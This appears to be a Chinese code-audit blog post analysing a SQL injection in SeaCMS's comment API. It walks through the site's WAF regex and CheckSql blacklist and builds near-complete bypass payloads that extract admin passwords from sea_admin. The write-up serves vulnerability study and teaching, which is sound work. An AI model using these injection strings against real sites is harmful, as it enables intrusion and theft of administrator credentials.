Loading [MathJax]/jax/output/CommonHTML/jax.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >seacms 最新版前台注入漏洞

seacms 最新版前台注入漏洞

作者头像
p4nda
发布于 2023-01-03 06:20:53
发布于 2023-01-03 06:20:53
2.2K00
代码可运行
举报
文章被收录于专栏:技术猫屋技术猫屋
运行总次数:0
代码可运行

0x01 写在前面

本文为小续师傅提供的漏洞,我来分析,续师傅还是牛逼的呀~

0x02 seacms介绍

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,使用 fofa 搜索可以看到存在 400+的记录:

0x03 漏洞分析

漏洞文件:./comment/api/index.php,漏洞参数:$rlist

为了方便说明,加上这个文件也不是很长,所以把这个文件的内容贴出来分析:

关键内容如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
    if(file_exists($jsoncachefile))
    {
        $json=LoadFile($jsoncachefile);
        die($json);
    }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
    createTextFile($h,$jsoncachefile);
}
die($h);    


function ReadData($id,$page)
{
    global $type,$pCount,$rlist;
    $ret = array("","",$page,0,10,$type,$id);
    if($id>0)
    {
        $ret[0] = Readmlist($id,$page,$ret[4]);
        $ret[3] = $pCount;
        $x = implode(',',$rlist);
        if(!empty($x))
        {
        $ret[1] = Readrlist($x,1,10000);
        }
    }    
    $readData = FormatJson($ret);
    return $readData;
}

function Readmlist($id,$page,$size)
{
    global $dsql,$type,$pCount,$rlist;
    $rlist = str_ireplace('@', "", $rlist);    
    $rlist = str_ireplace('/*', "", $rlist);
    $rlist = str_ireplace('*/', "", $rlist);
    $rlist = str_ireplace('*!', "", $rlist);
    $ml=array();
    if($id>0)
    {
        $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
        $rs = $dsql ->GetOne($sqlCount);
        $pCount = ceil($rs['dd']/$size);
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
        $dsql->setQuery($sql);
        $dsql->Execute('commentmlist' );
        while($row=$dsql->GetArray('commentmlist'))
        {
            $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
            $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
    }
    $readmlist=join($ml,",");
    return $readmlist;
}


function Readrlist($ids,$page,$size)
{
    global $dsql,$type;
    $rl=array();
    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
    $dsql->setQuery($sql);
    $dsql->Execute('commentrlist');
    while($row=$dsql->GetArray('commentrlist'))
    {
        $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
    }
    $readrlist=join($rl,",");
    return $readrlist;
}



function ReadReplyID($gid,$cmid,&$rlist)
{
    global $dsql;
    $rlist = str_ireplace('@', "", $rlist);    
    $rlist = str_ireplace('/*', "", $rlist);
    $rlist = str_ireplace('*/', "", $rlist);
    $rlist = str_ireplace('*!', "", $rlist);
    if($cmid>0)
    {
        if(!in_array($cmid,$rlist))$rlist[]=$cmid;
        $row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
        if(is_array($row))
        {
            $ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
        }else
        {
            $ReplyID = "";
        }
    }else
    {
        $ReplyID = "";
    }
    return $ReplyID;
}

function FormatJson($json)
{
    $x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
    for($i=6;$i>=0;$i--)
    {
        $x=str_replace("%".$i."%",$json[$i],$x);
    }
    $formatJson = jsonescape($x);
    return $formatJson;
}

function jsonescape($txt)
{
    $jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
    return $jsonescape;
}

首先引入外部文件:require_once("../../include/common.php");

在该文件的第二行引入了通用检测文件require_once('webscan/webscan.php');

该通用检测文件将我们通过 get 传入的值放进webscan_StopAttack()函数进行正则过滤,正则规则如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

...
  
preg_match("/".$ArrFiltReq."/is",$StrFiltValue)
  //$StrFiltValue为我们传入的每一个参数的值
  //$ArrFiltReq为$getfilter变量

绕过该正则检测后,返回到 common.php文件向下走:

采用 foreach 的方式赋值,以此来获取全局参数变量,如 以GET 方式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
foreach($_GET as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
    {
        Header("Location:$jpurl");
        exit('err2');
    }
}

首先判断传入变量的长度,然后再传入m_eregi()函数判断,该函数内容如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function m_eregi($reg,$p){
    $nreg=chgreg($reg)."i";
    return preg_match(chgreg($reg),$p);
}

chgreg()函数如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function chgreg($reg){
    $nreg=str_replace("/","\\/",$reg);
    return "/".$nreg."/";
}

以上代码结合起来就相当于下面的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
preg_match('/^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)/i',$_k)

即验证传入的参数是否含有以上字符串,若有,则跳转到首页然后退出,这里其实是对前几个版本出现的变量覆盖漏洞的修复。

在经过以上判断后,就获得了通过 get 传入的参数值,然后回到./comment/api/index.php文件继续向下看:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function ReadData($id,$page)
{
    global $type,$pCount,$rlist;
    $ret = array("","",$page,0,10,$type,$id);
    if($id>0)
    {
        $ret[0] = Readmlist($id,$page,$ret[4]);
        $ret[3] = $pCount;
        $x = implode(',',$rlist);
        if(!empty($x))
        {
        $ret[1] = Readrlist($x,1,10000);
        }
    }    
    $readData = FormatJson($ret);
    return $readData;
}

首先进入了Readmlist()函数,内容如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function Readmlist($id,$page,$size)
{
    global $dsql,$type,$pCount,$rlist;
    $rlist = str_ireplace('@', "", $rlist);    
    $rlist = str_ireplace('/*', "", $rlist);
    $rlist = str_ireplace('*/', "", $rlist);
    $rlist = str_ireplace('*!', "", $rlist);
    $ml=array();
    if($id>0)
    {
        $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
        $rs = $dsql ->GetOne($sqlCount);
        $pCount = ceil($rs['dd']/$size);
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
        $dsql->setQuery($sql);
        $dsql->Execute('commentmlist' );
        while($row=$dsql->GetArray('commentmlist'))
        {
            $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
            $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
    }
    $readmlist=join($ml,",");
    return $readmlist;
}

首先对type、

跳出Readmlist()回到ReadData()函数继续向下看

以,为连接符把x,最后将

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function Readrlist($ids,$page,$size)
{
    global $dsql,$type;
    $rl=array();
    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
    $dsql->setQuery($sql);
    $dsql->Execute('commentrlist');
    while($row=$dsql->GetArray('commentrlist'))
    {
        $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
    }
    $readrlist=join($rl,",");
    return $readrlist;
}

ids变量,直接传入了 SQL 语句,然后放入setQuery()函数,来看看setQuery()函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function SetQuery($sql)
    {
        $prefix="sea_";
        $sql = str_replace($prefix,$this->dbPrefix,$sql);
        $this->queryString = $sql;
    }

把SQL语句里的sea_替换为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function Execute($id="me", $sql='')
    {
        global $dsql;
        self::$i++;
        if($dsql->isClose)
        {
            $this->Open(false);
            $dsql->isClose = false;
        }
        if(!empty($sql))
        {
            $this->SetQuery($sql);
        }

        //SQL语句安全检查
        if($this->safeCheck)
        {
            CheckSql($this->queryString);
        }
    
    $t1 = ExecTime();
        
        $this->result[$id] = mysqli_query($this->linkID,$this->queryString);
        
        if($this->result[$id]===false)
        {
            $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
        }
}

该函数主要内容是对传入的 SQL 语句进行安全检测,若SQL 语句安全则继续执行SQL语句。

CheckSql($this->queryString);函数内容如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function CheckSql($db_string,$querytype='select')
{
    global $cfg_cookie_encode;
    $clean = '';
    $error='';
    $old_pos = 0;
    $pos = -1;
    $log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
    $userIP = GetIP();
    $getUrl = GetCurUrl();    
    $db_string = str_ireplace('--', "", $db_string);
    $db_string = str_ireplace('/*', "", $db_string);
    $db_string = str_ireplace('*/', "", $db_string);
    $db_string = str_ireplace('*!', "", $db_string);
    $db_string = str_ireplace('//', "", $db_string);
    $db_string = str_ireplace('\\', "", $db_string);
    $db_string = str_ireplace('hex', "he", $db_string);    
    $db_string = str_ireplace('updatexml', "updatexm", $db_string);
    $db_string = str_ireplace('extractvalue', "extractvalu", $db_string);
    $db_string = str_ireplace('benchmark', "benchmar", $db_string);
    $db_string = str_ireplace('sleep', "slee", $db_string);
    $db_string = str_ireplace('load_file', "load-file", $db_string);
    $db_string = str_ireplace('outfile', "out-file", $db_string);
    $db_string = str_ireplace('ascii', "asci", $db_string);    
    $db_string = str_ireplace('char(', "cha", $db_string);    
    $db_string = str_ireplace('substr', "subst", $db_string);
    $db_string = str_ireplace('substring', "substrin", $db_string);
    $db_string = str_ireplace('script', "scrip", $db_string);
    $db_string = str_ireplace('frame', "fram", $db_string);
    $db_string = str_ireplace('information_schema', "information-schema", $db_string);
    $db_string = str_ireplace('exp', "ex", $db_string);
    $db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);
    $db_string = str_ireplace('polygon', "polygo", $db_string);
    $db_string = str_ireplace('multipoint', "multipoin", $db_string);
    $db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);
    $db_string = str_ireplace('linestring', "linestrin", $db_string);
    $db_string = str_ireplace('multipolygon', "multipolygo", $db_string);    

    //如果是普通查询语句,直接过滤一些特殊语法
    if($querytype=='select')
    {
        $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

        //$notallow2 = "--|/\*";
        if(m_eregi($notallow1,$db_string)){exit('SQL check');}
        if(m_eregi('<script',$db_string)){exit('SQL check');}
        if(m_eregi('/script',$db_string)){exit('SQL check');}
        if(m_eregi('script>',$db_string)){exit('SQL check');}
        if(m_eregi('if:',$db_string)){exit('SQL check');}
        if(m_eregi('--',$db_string)){exit('SQL check');}
        if(m_eregi('char(',$db_string)){exit('SQL check');}
        if(m_eregi('*/',$db_string)){exit('SQL check');}
    }

    //完整的SQL检查
    while (true)
    {
        $pos = stripos($db_string, '\'', $pos + 1);
        if ($pos === false)
        {
            break;
        }
        $clean .= substr($db_string, $old_pos, $pos - $old_pos);
        while (true)
        {
            $pos1 = stripos($db_string, '\'', $pos + 1);
            $pos2 = stripos($db_string, '\\', $pos + 1);
            if ($pos1 === false)
            {
                break;
            }
            elseif ($pos2 == false || $pos2 > $pos1)
            {
                $pos = $pos1;
                break;
            }
            $pos = $pos2 + 1;
        }
        $clean .= '$s$';
        $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

    if (stripos($clean, '@') !== FALSE  OR stripos($clean,'char(')!== FALSE  OR stripos($clean,'script>')!== FALSE   OR stripos($clean,'<script')!== FALSE  OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="union detect";
    }

    //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
    elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)
    {
        $fail = true;
        $error="comment detect";
    }

    //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
    elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="sleep detect";
    }
    elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="updatexml  detect";
    }
    elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="extractvalue  detect";
    }
    elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="benchmark detect";
    }
    elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }
    elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
    {
        $fail = true;
        $error="file fun detect";
    }

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
    {
        $fail = true;
        $error="sub select detect";
    }
    if (!empty($fail))
    {
        fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
    }
    else
    {

        return $db_string;
    }
}

至此,整个漏洞挖掘的链就形成了,如下图所示:

可以看到,其实该漏洞挖掘的关键点有两个:

  • 如何绕过 webscan_StopAttack()
  • 如何绕过CheckSql()函数的检测

我们首先来看第一个关键点,我们知道一般的注入语句都是形如union select 1,2,3,4,5,6,7,pass,9 from admin --形式

但在该过滤点使用正则过滤了union select的形式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
UNION.+?SELECT\s*

这种过滤很容易绕,比如我们熟知的绕 waf 技巧%23%0a 就可以绕过该过滤,如下:

union%23%0aselect%23%0a1,2,3,4,5,6,7,pass,9 from admin --

(具体更多的方式可以阅读此文:https://www.secpulse.com/archives/53328.html

接下来就是第二个关键点,CheckSql()函数过滤了一大堆东西,这个函数原本是80sec 写的,开发者对这个过滤函数进行了修改:

可以看到,作者增加了对关键字符、关键字的过滤清空,但也正是这些多此一举的内容导致我们可以绕过这些过滤。

在80sec 防注入程序中有个特征就是会将两个单引号之间的内容,用字符串进行替换,例如insert into admin(username,passdord) value ('admin','hello')会被替换为insert into admin(username,passdord) value (,)

因此我们可以利用这个特性使得$clean变量中不会出现敏感字,从而绕过CheckSql()函数检测

我们知道在Mysql中,定义变量用@字符,如我们可以使用set @panda=’test’,来为变量赋值

在这里我们为了合法的构造出一个单引号,就可以用@'放入sql语句当中,来帮助我们绕过检查

需要注意的是,虽然我们绕过了检测,但我们的 SQL 语句中多了单引号,会导致原本的 SQL 语句失效,所以我们需要进一步来修改我们的注入语句,来利用注释符(/*/*/#)将单引号注释掉

因此语句为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`

但此时回头看,在Readmlist()函数最开始的地方:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    global $dsql,$type,$pCount,$rlist;
    $rlist = str_ireplace('@', "", $rlist);    
    $rlist = str_ireplace('/*', "", $rlist);
    $rlist = str_ireplace('*/', "", $rlist);
    $rlist = str_ireplace('*!', "", $rlist);

对于这些字符进行了置空处理,因此如果我们直接传入,肯定会被过滤,导致我们的注释符失效,依旧不能达到我们的目的

但是注意,$rlist是全局变量,因此在Readmlist()函数中处理后的值,会保留继续传到Readrlist()函数(上方的流程图显示的很明白),也就是说如果我们直接传入上方我们构建的语句,就会被过滤成:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- `'`

这显然传入 SQL语句中会报错,因此我们需要双写符号从而构建注释符,最终结果如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
//**@`'`,**@//UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`'`

这条语句首先进入Readmlist()函数,变成了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`

然后继续传入Readrlist()函数,经过字符串替换变成了:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin `'`

成功构造出两个单引号,最终使得传入的语句为:,绕过所有的过滤

其实如果仅仅是这样,我们也是无法绕过过滤的,因为虽然我们绕过了检测,但是经过层层过滤和转换,最终的 SQL 语句并不是我们想要的,如果直接传入 mysqli_query()去执行是会出错的。

但是骚气的地方是:

可以看到,经过 CheckSql()函数过滤的 SQL 语句并没有传入 mysqli_query()中去执行,在mysqli_query()中执行的是原始的,在Readmlist()函数中处理后的语句。这里的 CheckSql()函数也仅仅是起到判断作用,根本是没有对传入的 SQL 语句进行处理。

我们可以看到最终传入 mysqli_query()中去执行的 SQL 语句如下图所示:

最终的执行效果:

0x04 结尾

最终没有直接给出 payload,留下了两个坑点。文章内其实已经写得很明白了,注意参数变量类型,编码,基本上就可以构建出最后的 pyaload,此文的目的是想让大家进一步学习代码审计相关的知识,有的时候,并不是写得过滤内容越多越好,还是要看我们最终执行的地方是否存在问题。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-06-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
海洋 CMS 代码审计过程分析
最近在学代码审计,但总是学了忘,所以把思路步骤全写下来,便于后期整理。这次审计的是 seacmsV10.1,但是审完返现 V11 也有同样的漏洞。先放 payload:
信安之路
2020/09/28
2K0
海洋 CMS 代码审计过程分析
SeaCMS v10.1代码审计实战
seacms是一个代码审计入门级的cms,比较适合我这种小白玩家来学习,如果有什么错误欢迎指出。
FB客服
2020/07/15
1.4K0
SeaCMS v10.1代码审计实战
是时候血洗小电影网站了-Seacms SQL注入与RCE分析及实战
海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑,手机,平板,APP多个终端入口,无任何加密代码,安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门建造看片网站的cms) 经历我多年**的经验,很多看小电影的网站都是用的这套cms或者maccms,因此是时候血洗小电影站点了 呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。突破信息都已经上了回家了。。
天钧
2020/02/18
2.4K0
Dedecms 中的预认证远程代码执行
在这篇博文中,我将分享对 Dedecms(或翻译成英文的“Chasing a Dream”CMS)的技术评论,包括它的攻击面以及它与其他应用程序的不同之处。最后,我将以一个影响v5.8.1 pre-release的预认证远程代码执行漏洞结束。这是一款有趣的软件,因为它的历史可以追溯到其最初发布以来的 14 年多,而 PHP 在这些年来发生了很大的变化。
Khan安全团队
2022/01/25
4.1K0
新洞。。。。。
In this blog post, I’m going to share a technical review of Dedecms (or “Chasing a Dream” CMS as translated to English) including its attack surface and how it differs from other applications. Finally, I will finish off with a pre-authenticated remote code execution vulnerability impacting the v5.8.1 pre-release. This is an interesting piece of software because it dates back over 14 years since its initial release and PHP has changed a lot over the years.
用户5878089
2021/10/11
1.1K0
最新SQL注入漏洞修复建议
多数CMS都采用过滤危险字符的方式,例如,用正则表达式匹配union、sleep、load_file等关键字。如果匹配到,则退出程序。例如,80sec的防注入代码如下:
Ms08067安全实验室
2023/10/25
7120
最新SQL注入漏洞修复建议
如何从根本上防止SQL注入
SQL注入是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数被带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
博文视点Broadview
2023/09/07
6460
如何从根本上防止SQL注入
搭建dedecms漏洞靶场练习环境
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现,因为代码审计较弱,代码这一块的分析借鉴了一些大佬们的思想,在这里对大佬们表示衷心的感谢。
HACK学习
2021/06/24
12.3K1
搭建dedecms漏洞靶场练习环境
通达OA v11.10 sql注入漏洞复现
漏洞定位:/general/system/approve_center/flow_data/export_data.php
yulate
2023/05/02
3K0
通达OA v11.10 sql注入漏洞复现
重置dedecms管理员后台密码重现及分析
0×00 概述 2018年1月,网上爆出dedecms v5.7 sp2的前台任意用户密码重置和前台任意用户登录漏洞,加上一个管理员前台可修改其后台密码的安全问题,形成漏洞利用链,这招组合拳可以重置管理员后台密码。 先来看看整体利用流程:    重置admin前台密码—>用admin登录前台—>重置admin前后台密码 0×01 前台任意用户密码重置分析 组合拳第一式:重置管理员前台密码 漏洞文件:member\resetpassword.php:75 else if(
奶糖味的代言
2018/04/16
6.5K0
重置dedecms管理员后台密码重现及分析
FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行
目录中的1位用户id,稍微爆破一下即可。 PS:谢谢大佬们提醒,这个uid可以直接在cookie中看到
纯情
2023/04/26
9230
2020CISCN-初赛Web
不出意外,这应该是最后一次打国赛了,总共22道题,解出15道题,Web一共5道题,最后做出4道题,实验室的两支队伍,最终西南赛区第6和第10,全国第35和53,成功晋级分区赛。
小简
2023/01/04
2540
2020CISCN-初赛Web
seacms修复历程总结
seacms修复历程总结 从6.45版本开始search.php就存在前台getshell的漏洞,到6.54官方对其进行修补,但修复方法是对用户输入的参数进行过滤并限制长度为20个字符,这种修复方法仍然可以通过反复替换模板达到组合绕过补丁。下面来细致分析一下海洋cms爆出的漏洞以及修复历程,并附上自己写的脚本,如有不对欢迎指正。 海洋CMS V6.45 1.search.php function echoSearchPage(){ global $dsql,$cfg_iscache,$mainClassOb
安恒网络空间安全讲武堂
2018/02/06
2K0
seacms修复历程总结
DedeCMS v5.8.1_beta未授权远程命令执行漏洞分析
深信服公众号前几天发了Dedecms未授权RCE的漏洞通告。地址是这个: 【漏洞通告】DedeCMS未授权远程命令执行漏洞
Deen_
2021/11/12
4.3K0
DedeCMS v5.8.1_beta未授权远程命令执行漏洞分析
存在SSTI漏洞的CMS合集
代码审计,考察的是扎扎实实的本领,CMS的漏洞的挖掘能力是衡量一个Web狗的强弱的标准,强网杯的时候,Web题目考的了一个CMS的代码审计,考察到了SSTI漏洞,菜鸡一枚的我过来汇总一下在PHP中的SSTI漏洞,望能抛砖引玉,引起读者的共鸣。
用户5878089
2019/07/23
3.7K0
织梦CMS安装后的安全优化设置,有效防护木马
织梦CMS在安装完成后,新人往往会直接开始开发使用,忽视了一些安全优化的操作,这样会导致后期整个系统安全系数降低,被黑或者被注入的概率极高,毕竟这世界百分百存在着极多的无聊hacker对全网的网站进行扫描,扫到你这个菜站,尤其是使用率极高的DEDECMS,对你的站点下手的欲望更高,所以在开发前做好安全防范还是很有必要的!
米米素材网
2022/07/15
2.8K0
织梦CMS安装后的安全优化设置,有效防护木马
easycms 7.7.4 后台sql注入漏洞​复现
环境 windows 11 phpstudy CmsEasy 7.7.4 代码分析 漏洞点:文件lib/admin/database_admin.php中的函数dorestore_action()方法。 //还原数据function dorestore_action() { /* db_dir = explode('_',front::get('db_dir')); if(db_dir[2]!=_VERCODE){ front::flash(lang_admin('
用户5878089
2021/12/01
2.1K0
easycms 7.7.4 后台sql注入漏洞​复现
Pentester之SQL注入过关纪实
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术,如:XSS跨站脚本攻击、SQL注入、目录遍历、命令注入、代码注入 、XML攻击、LDAP攻击、文件上传。靶场介绍可以查看官方网站[1]靶场环境搭建方法可以参考文章[2],先从SQL注入顺手练练
网络安全自修室
2021/11/25
4220
Pentester之SQL注入过关纪实
2024全网最全面及最新且最为详细的网络安全技巧四 之 sql注入以及mysql绕过技巧 (1)———— 作者:LJS
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库乃至整个应用系统的入侵
盛透侧视攻城狮
2024/10/22
1890
